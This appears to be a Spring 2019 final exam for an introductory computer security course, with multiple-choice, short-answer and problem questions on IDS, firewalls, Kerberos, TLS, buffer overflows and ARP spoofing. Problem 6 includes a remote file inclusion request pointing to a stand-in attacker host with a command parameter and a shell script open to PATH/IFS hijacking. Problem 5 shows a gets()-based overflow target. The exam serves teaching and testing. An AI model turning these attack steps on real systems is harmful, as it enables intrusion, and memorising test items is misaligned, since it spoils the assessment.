Introduction to Computer Security
Spring 2019
Final Exam

PROBLEM	MAX SCORE
1	42
2	36
3	5
4	5
5	6
6	6
7	5
TOTAL	105

DO NOT TURN TO THE NEXT PAGE UNLESS YOU GET PERMISSION !!

Problem 1: Multiple choices (2 points each).

Select one correct answer from the four choices.

1. ____ can be used to lure a potential attack away from critical systems.

   (A) Host-based Intrusion Detection System (HIDS)
   (B) Network-based Intrusion Detection System (NIDS)
   (C) Hybrid Intrusion Detection System (IDS)
   (D) Honeypots

2. ____ attacks are vulnerabilities involving the inclusion of script code in the HTML content of a Web page displayed by a user's browser.

   (A) PHP file inclusion
   (B) Mail injection
   (C) Code injection
   (D) Cross-site scripting

3. Which of the following attacks can be prevented by a random number in most challenge-response protocols for remote user authentication?

   (A) Replay attack
   (B) Main-in-the-middle attack
   (C) User spoofing
   (D) Message spoofing

4. Why is using a modern high-level language not vulnerable to buffer overflow attacks? Please choose the major reason from the following.

   (A) It is not allowed to access low-level instructions.
   (B) It has a strong notion of variable type and does range checks.
   (C) It does not use stack to store local variables.
   (D) It is not allowed to access memory directly.

5. Which of the following firewalls cannot generally support all applications?

   (A) Packet filtering firewall
   (B) Application proxy firewall
   (C) Stateful inspection firewall
   (D) Circuit-level proxy firewall

6. The most important changes needed to improve system security are to ____.

   (A) disable remotely accessible services that are not required
   (B) ensure that applications and services that are needed are appropriately configured
   (C) disable services and applications that are not required
   (D) all of the above

7. Suppose that Bob wants to secure a database for a web service, which requires user input on web pages. He knows the expected queries and understands how the database should behave normally, but have little knowledge about possible attacks. Which of the following countermeasures is NOT appropriate for Bob to take?

   (A) Signature-based detection
   (B) Anomaly-based detection
   (C) Parameterized query insertion
   (D) Run-time prevention

8. Which of the following statements about fundamental security design principles is FALSE?

   (A) Design should be open rather than secret.
   (B) Access decisions should be based on exclusion rather than permission.
   (C) Design should minimize the functions shared by different users for mutual security.
   (D) A program or user interface should always respond in the way that is least likely to astonish the user.

9. Which of the following intruder behaviors is FALSE?

   (A) Covering tracks: disabling or editing audit logs to remove evidence of attack activity.
   (B) Maintaining access: exploiting a network service's vulnerability to gain initial system access.
   (C) Privilege escalation: increasing the privileges via a local access vulnerability.
   (D) Target acquisition and information gathering: identifying and characterizing the target systems using publicly information.

10. Which of the following statements about DoS attacks is FALSE?

    (A) In the ICMP flooding attack, source address spoofing can prevent the ICMP echo response from being reflected back.
    (B) The system administrator can deploy signature-based solutions to defend against HTTP flooding attacks.
    (C) The attacker can employ a botnet to launch Distributed DoS (DDoS) attacks.
    (D) To be effective, the filtering for blocking spoofed source address needs to be done as close to the source as possible.

11. Which of the following statements about NIDS is FALSE?

    (A) NIDS monitors traffic at selected points on a network or interconnected set of networks.
    (B) The ability of the NIDS gradually becomes to not function well, because there is an increasing use of encryption.
    (C) Inline sensors do not need additional separate hardware devices.
    (D) Passive sensors have negative impact on network performance.

12. Which of the following statements about Firewall is FALSE?

    (A) It can protect fully against internal threats.
    (B) It is a single choke point to keep unauthorized traffic out.
    (C) It cannot protect against attacks bypassing the firewall.
    (D) It is a convenient platform for Internet functions, e.g., NAT and VPN.

13. Which of the following statements about defenses against buffer overflow is FALSE?

    (A) Stackguard adds canary values to check stack for signs of corruption, so it needs to alter the structure of the stack frame.
    (B) Stackshield and Return Address Defender keep a copy of the return address in a safe region, so they do not alter the structure of the stack frame.
    (C) Address space randomization uses random shift for each process in the memory, so all programs needing protection need to be recompiled.
    (D) Executable address space protection blocks the execution of code on the stack.

14. Which of the following statements about defensive programming is FALSE?

    (A) It can decrease the amount of codes needed in the program.
    (B) It conflicts with business pressures.
    (C) It should handle all potential failures gracefully and safely.
    (D) It requires a changed mindset to traditional programming practices.

15. Which of the following reasons about using DomainKeys Identified Mail (DKIM) is FALSE?

    (A) Users need to have certificates to enable DKIM.
    (B) DKIM can be applied to all mails from cooperating domains.
    (C) S/MIME signs only the message content, but DKIM signs both header and content of the message.
    (D) S/MIME depends on both the sending and receiving users employing S/MIME, but DKIM is transparent to the users.

16. Which of the following descriptions about TLS is TRUE?

    (A) Each TLS connection can be associated with multiple TLS sessions.
    (B) The change cipher spec protocol is used to negotiate encryption and MAC algorithms.

(C) TLS sessions are used to avoid the expensive negotiation of new security parameters for each connection.
(D) In Phase 1 of the TLS handshake, two exchange messages, client_hello and server_hello, do mutual authentication.

17. Which of the following statements about IPSec is FALSE?

(A) VPN is supported by the IPSec transport mode.
(B) The tunnel mode provides protection to the entire IP packet.
(C) In the transport mode, ESP protects only the IP payload.
(D) With the tunnel mode, hosts on networks behind firewalls can engage in communications without implementing IPSec.

18. Which of the following statements about Kerberos is FALSE?

(A) Since it is inconvenient to query the user for his password for each service, the ticket-granting server (TGS) is introduced.
(B) The user sends a pair of username and password to the authentication server (AS) for user authentication.
(C) To enable interrealm authentication, the Kerberos server in each realm needs to share a secret key with the server in the other realm.
(D) It prevents the ticket alteration by encrypting the ticket with a secret key known only to the AS and the TGS or the TGS and the application server.

19. Which of the following statements about PKI is FALSE?

(A) A certificate can be revoked based on a certificate revocation list.
(B) The hierarchical structure of the CA trust store is similar to that of the DNS with a single, large structure.
(C) The trust store includes a large list of CAs and their public keys.
(D) It relies on the user to make an informed decision when there is a problem verifying a certificate.

20. Which of the following statements about wireless LAN security is FALSE?

(A) EAP is an authentication framework for providing some common function, but not a specific mechanism.
(B) Authentication is mutual between the client and the authentication server.
(C) The protected data transfer phase includes TKIP and CCMP methods, neither of which are compatible to the old security method (i.e., WEP).
(D) Both TKIP and CCMP support both message integrity and data confidentiality.

21. Consider mutual authentication between the mobile device and the authentication center in the 4G network. Which of the following statements is FALSE?

(A) The authentication relies on a secret key shared between the mobile device and the authentication center.
(B) The shared secret key is never included in authentication messages.
(C) The 4G network uses PKI to distribute the shared secret key.
(D) The device identity, i.e., IMSI, is never included in authentication messages.

Problem 2: Short answer questions (3 points each).

Please be brief and concise (No more than three sentences).

1. What are the drawbacks of knowledge-based and machine learning-based anomaly detection methods?

2. Heap does not have any return address, but heap overflow can be still caused to execute shellcode. How can this exploit happen?

3. Please describe the atomic operation needed for the lockfile, which is created to prevent race conditions.

4. In the Kerberos system, how does the authentication server authenticate a user?

5. What is the root cause of the TLS Heartbleed exploit?

6. Why do the Type 1 hypervisors perform better than the Type 2 hypervisors?

7. To create an S/MIME message, why is the Radix-64 technique needed to encode the message?

8. ICMP flooding and SIP INVITE flooding attacks are launched to exhaust different resources of victims to cause DoS. What is the resource targeted by each of these two attacks?

9. Consider that two gateways set up an IPSec tunnel. For each IP packet sent to the tunnel, it encrypts the entire IP packet, and then prepends a new IP header and an ESP header to the encrypted packet. Does this IPSec tunnel support NAT (Network Address Translation)? Why?

10. Bob wants to develop an anomaly detection program for normal users. But, he encounters an issue that the program needs the root privilege to use `RAW SOCKET` but the normal users are not allowed to have it. Please give an advice about how to achieve it and explain the reason.

11. Consider the 802.1X access control in the wireless LAN (WLAN). There are three access paths in the WLAN: one to the authentication server, another to other wireless stations in the same WLAN, and the other to distribution system (DS). For each of these three access paths, which of uncontrolled and controlled ports shall be assigned?

12. It is possible to specifically defend against the SYN spoofing attack by using a modified version of the TCP connection handling code. Instead of saving the connection details on the server, critical information about the requested connection is cryptographically encoded in a cookie that is sent as the server's initial sequence number. In this method, the server does not need to keep any connection information until the three-way TCP handshake is completed. Please describe its major advantage and disadvantage.

Rule	Direction	Src address	Dest address	Protocol	Dest port	Action
1	Out	Internal	External	TCP	80	Permit
2	In	External	Internal	TCP	>1023	Permit
3	Either	Any	Any	Any	Any	Deny

Table 1: A simplified example of a rule set for HTTP traffic.

```
void hello(char *tag)
{
      char inp[16];

      printf (“Enter value for %s: “, tag);
      gets(inp);
      printf (“Hello your %s is %s\n”, tag, inp);
}
```

Memory Address	Value	Contains Value of
0xbffffbd8	3e850408	tag
0xbffffbd4	f0830408	return address
0xbffffbd0	e8fbffbf	old frame pointer
0xbffffbcc	1b840408	inp[12-15]
0xbffffbc8	e8fbffbf	inp[8-11]
0xbffffbc4	3cfcffbf	inp[4-7]
0xbffffbc0	34fcffbf	inp[0-3]

Figure 1: Stack overflow example: a function (left) and its stack (right).

Problem 3: Message authentication (5 points). Suppose that a government agency releases a one-way hash function and its public key for the prevention of fake announcements. Please illustrate how the agency can send people an announcement message with message authentication using public-key encryption and the one-way hash function, and how people can verify the announcement message. Note that encrypting the original message is prevented. If your figure is not self-explained, please add some explanation.

Problem 4: Packet filtering for HTTP traffic (5 points). Bob sets up a set of packet filtering rules to allow only inbound and outbound HTTP traffic but to block all other traffic, as shown in Table 1. Rule 1 is to allow outbound HTTP traffic to external HTTP servers, and Rule 2 is to allow an inbound response to an outbound HTTP connection. However, there are two main security issues with Rule 2. First, it allows external traffic to any destination port above 1023. Second, it allows an outside attacker to send inbound non-HTTP traffic using the HTTP port. Please suggest how to modify the filtering rules to prevent these two issues.

Problem 5: Buffer overflow (6 points). Consider the function and its stack in Figure 1. An attacker wants to launch a buffer overflow attack on the program that calls this function by giving an input. Please answer the following questions.

1. If the attacker gives an input with 17 bytes, what will happen after the hello function returns?
2. If the attacker wants to replace the return address with its specified one, how many bytes are needed to give to the input (including a newline terminator)?
3. Assume that there is a 12-byte shellcode, how can the attacker let it be run by causing a stack overflow? Please also specify which address needs to be given in the return address field in your case. Note that the address can vary with where you put the shellcode.

Problem 6: Software security (6 points).

1. The following HTTP exploit request can be used to attack the following vulnerable PHP code. Which two features of PHP does this attack exploit?

   Vulnerable PHP code

   ```
   <?php
   include $path .  ‘functions.php’;
   include $path .  ‘data/prefs.php’;
   ...
   ```

   HTTP exploit request

   ```
   GET /calendar/embed/day.php?path=http://hacker.web.site/hack.txt?&cmd=ls
   ```

2. Consider that an attacker wants to exploit the following script to run his binary file, say bomb. Please describe how to achieve it. Note that you may need to change environment variables, `PATH`, `IFS`, or/and `LD_LIBRARY_PATH`.

   ```
   #/bin/bash
   PATH="/sbin:/bin:/usr/sbin:/usr/bin
   export PATH
   user=’echo $1 |sed ’s/@.*$//’‘
   grep $user /var/local/accounts/ipaddrs
   ```

Problem 7: ARP spoofing attack (5 points). Consider a Wi-Fi network with one AP and two clients, A and B, both of which associate with the AP. Client A wants to intercept all the traffic to/from Client B by launching an ARP spoofing attack. Please specify what kinds of messages Client A needs to send by showing each message's content (message type, IP address, and MAC address) and destination. Please use the following notations to represent the devices' IP and MAC addresses: AP (IP: IP-AP, MAC: MAC-AP), Client A (IP: IP-A, MAC: MAC-A), and Client B (IP: IP-B, MAC: MAC-B).